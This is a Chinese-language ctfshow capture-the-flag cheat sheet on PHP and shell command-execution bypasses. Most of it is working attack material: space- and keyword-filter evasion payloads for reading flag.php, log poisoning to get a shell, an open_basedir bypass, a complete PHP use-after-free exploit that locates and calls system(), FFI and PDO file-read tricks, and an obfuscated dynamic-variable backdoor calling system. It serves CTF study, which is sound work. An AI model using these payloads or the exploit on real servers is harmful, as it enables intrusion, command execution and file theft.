ctfshow-命令执行总结
过滤空格
使用$GET等进行参数逃逸
使用文件包含进行参数逃逸
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
套娃
show_source(next(array_reverse(scandir(pos(localeconv())))));
控制变量
print_r(array_pop(next(get_defined_vars())))
过滤空格
使用水平制表符
nl<fla''g.php||
tac%09fla?.php%26%26
cp$IFSfla?.php$IFS1.txt||ls
mv$IFSfla?.php$IFSa.txt||ls
cp${IFS}fla?.php${IFS}a.txt||ls
/bin/ca?${IFS}f???????
/?c=.%20/???/????????[@-[]
#!/bin/sh
cat flag.php
构造数字
$(()) -> 0
~$(()) -> ~0
$((~$(()))) -> -1
使用读取文件的函数:
1. file_get_contents // *
2. fread
3. fgets
4. fgetss
5. file
6. parse_ini_file
7. readfile // *
8. highlight_file // *
9. show_source // *
常见用法
<?php
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;
// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024); // 参数为 resource 类型
fclose($file);
echo PHP_EOL;
// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgets($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgetss($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt"); // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;
// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt')); // 读取结果为数组,所以需要用 print_r 或 var_dump
echo PHP_EOL;
// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt"); // 只能读取 ini 配置文件
echo PHP_EOL;
// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;
// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?>
日志拿shell
后门写入日志,文件包含访问日志拿shell
nginx默认日志路径为/var/log/nginx/access.log
查看目录
print_r
print_r(scandir("."));
var_dump
var_dump(scandir("."));
获得变量
get_defined_vars ( void ) : array
绕过open_basedir
此函数内容将用户限制在一个目录
使用glob协议读取文件
c=$a="glob:///*.txt";
if($b = opendir($a)){
while(($file=readdir($b))!==false)
{
echo "filename:".$file."\n";
}
closedir($b);
};exit();
使用公开脚本
UAF
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
PDO
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}
php7.4命令执行特性
c=$ffi=FFI::cdef("int system(const char *command);");
$a="/readflag>/var/www/html/hello";
$ffi->system($a);exit();
蚁剑插件
构造命令
":"的作用
如果变量后面跟着一个冒号和数字,则返回该数字开始的剩余子字符串,如果后面还跟着一个冒号和数字。则第一个数字表示开始的字符,后面数字表示字符的长度。
echo ${PATH} // /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:6} // ocal/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:~6} // in:/bin
echo ${PATH:~A} // n
echo ${PATH:14:1} // n
Linux中一些特殊符号的用法
{}大括号
用法一:通配符扩展
ls my_{finger,toe}s
这条命令相当于
ls myfingers my_toes
下面语句相当于笛卡尔积
mkdir {userA,userB,userC}-{home,bin,data}
用法二:语句块的构造
语句之间使用回车进行分隔
{
grep -v "$cdcatnum" $strack_file > $temp_file
cat $temp_file > $strack_file
echo
cat -n file1
}
用法三:参数扩展
${name:-default} ;使用一个默认值来代替那些空的或者没有赋值的变量name;
${name:=default} ;使用指定值来代替空的或者没有赋值的变量name
${name:?message} ;如果变量为空或者未赋值,那么就会显示出错误信息并终止脚本的执行同时返回退出码1
[]中括号
用法一:通配符扩展
允许匹配方括号中任何一个单元字符
ls /[eh][to][cm]*
用法二:条件判断符号
if test "$?" != 0
if [$?] != 0
`command`反引号
与$(command)一样,返回当前执行命令的结果
'string'单引号和"string"双引号
单引号和双引号的区别是单引号不转义特殊字符。
'$'符号
- $# 返回引用变量的总数量
- $* 以一个单字符串显示所有的脚本传递的参数。等价于$1 $2 $3.......
- \(@ 与\)*基本类似但各参数用空格隔开,而$*用IFS的第一个参数隔开
- $? 前一个命令的退出码
- $- 显示shell使用的当前选项
- $! 最后一个后台运行的进程ID号
-
\[ shell脚本的进程号 \]
"&&", "||"命令列表
&&
只有前面都成功才执行下一条
||
一条成功即退出
":"冒号
内建空指令,返回值为0
";"分号
连续指令
"#"井号
注释
"/"倒斜线
放在指令前可取消别名的作用
放在特殊符号前则该特殊符号的作用消失
放在指令的最末端则连接下一行
"!"感叹号
反逻辑作用
"**"次方运算
构造表
查询系统变量后构造
| 名字 | 值 |
|---|---|
| PHP_CFLAGS | |
| PHP_VERSION | |
| SHLVL | 1 |
| PWD | |
| HOME | |
| PATH | |
| \({PWD::\){#SHLVL}} | / |
| \({HOME:\){#HOSTNAME}😒{#SHLVL}} | t(看情况) |
| $ | 1(正常为0不正常则为1,#取长度故恒为1) |
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?}+????.???
动态变量解析构造后门
- base_convert("hex2bin",36,10); -> 37907361743
- bin2hex("_GET"); -> 5f474554
- base_convert(37907361743,10,36)(dechex(1598506324)) -> _GET
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

浙公网安备 33010602011771号